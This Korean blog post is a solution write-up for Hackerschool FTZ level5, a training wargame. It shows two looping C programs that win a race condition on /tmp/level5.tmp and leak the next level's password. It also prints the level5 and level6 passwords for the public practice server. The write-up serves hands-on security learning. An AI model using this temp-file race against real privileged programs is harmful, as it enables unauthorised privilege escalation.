pwn3r tistory

Hackerschool FTZ level5 본문

Wargame/FTZ

Hackerschool FTZ level5

pwn3r 2011.07.17 13:19
Category : System hacking

ssh://ftz.hackerschool.org
id : level5
pw : what is your name?

Summary : race condition


서버에 접속하여 문제 파일을 확인한다.

[level5@ftz level5]$ ls -l
합계 12
-rw-r--r--    1 root     root          129  3월 23  2000 hint
drwxr-xr-x    2 root     level5       4096  2월 24  2002 public_html
drwxrwx---    3 root     level5       4096  7월 12 12:32 tmp
[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

 


level5.tmp의 내용을 읽어보기위해 /usr/bin/level5를 실행하고 /tmp/ 디렉토리의 파일들을 확인해보니 level5.tmp는 없다.
/usr/bin/level5가 level5.tmp를 생성한 후 바로 지운다고 생각할 수 있다.
하지만 생성하고 지우는데에는 어느 정도의 시간이 있기때문에 race condition을 이용한 공격을 할 수 있다.
/usr/bin/level5를 무한정하게 실행하는 프로그램과 /tmp/level5.tmp를 무한정하게 읽는 프로그램을 작성해 두개다 실행해본다.

[level5@ftz .pwn3r]$ cat exec.c
#include <stdio.h>

int main()
{
 while(1) system("/usr/bin/level5");
}

[level5@ftz .pwn3r]$ cat read.c
#include <stdio.h>

int main()
{
 while(1) system("cat /tmp/level5.tmp 2> /dev/null");


[level5@ftz .pwn3r]$ ./exec & ./read
[1] 32500

next password : what the hell


level6 user의 password를 얻었다.
신고

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level7  (0) 2011.07.17
Hackerschool FTZ level6  (1) 2011.07.17
Hackerschool FTZ level5  (1) 2011.07.17
Hackerschool FTZ level4  (0) 2011.07.17
Hackerschool FTZ level3  (0) 2011.07.17
Hackerschool FTZ level2  (0) 2011.07.17
1 Comments
댓글쓰기 폼